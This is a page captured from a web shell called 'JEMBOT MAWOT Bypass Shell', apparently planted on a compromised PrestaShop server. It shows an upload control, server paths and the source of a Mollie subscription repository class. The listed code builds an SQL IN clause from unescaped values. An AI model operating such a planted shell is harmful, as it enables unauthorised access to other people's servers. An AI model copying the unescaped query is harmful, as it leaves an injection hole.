JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/modules/mollie/subscription/Repository/
Upload File :
Current File : /home/cinepatreb/billetterie/modules/mollie/subscription/Repository/RecurringOrderRepository.php

<?php
/**
 * Mollie       https://www.mollie.nl
 *
 * @author      Mollie B.V. <info@mollie.nl>
 * @copyright   Mollie B.V.
 * @license     https://github.com/mollie/PrestaShop/blob/master/LICENSE.md
 *
 * @see        https://github.com/mollie/PrestaShop
 * @codingStandardsIgnoreStart
 */

declare(strict_types=1);

namespace Mollie\Subscription\Repository;

use Mollie\Shared\Infrastructure\Repository\AbstractRepository;

if (!defined('_PS_VERSION_')) {
    exit;
}

class RecurringOrderRepository extends AbstractRepository implements RecurringOrderRepositoryInterface
{
    public function __construct()
    {
        parent::__construct(\MolRecurringOrder::class);
    }

    public function getAllOrdersBasedOnStatuses(array $statuses, int $shopId): array
    {
        $query = new \DbQuery();

        $query
            ->select(
                'mro.id_mol_recurring_order as id, mro.mollie_subscription_id,
                mro.mollie_customer_id, mro.id_cart,
                mro.id_mol_recurring_orders_product as id_recurring_product,
                mro.id_address_invoice, mro.id_delivery_address'
            )
            ->from('mol_recurring_order', 'mro')
            ->leftJoin(
                'orders', 'o',
                'o.id_order = mro.id_order'
            )
            ->where('mro.status IN (\'' . implode("','", $statuses) . '\')')
            ->where('o.id_shop = ' . $shopId);

        $result = \Db::getInstance()->executeS($query);

        return !empty($result) ? $result : [];
    }
}

xxxxx1.0, XXX xxxx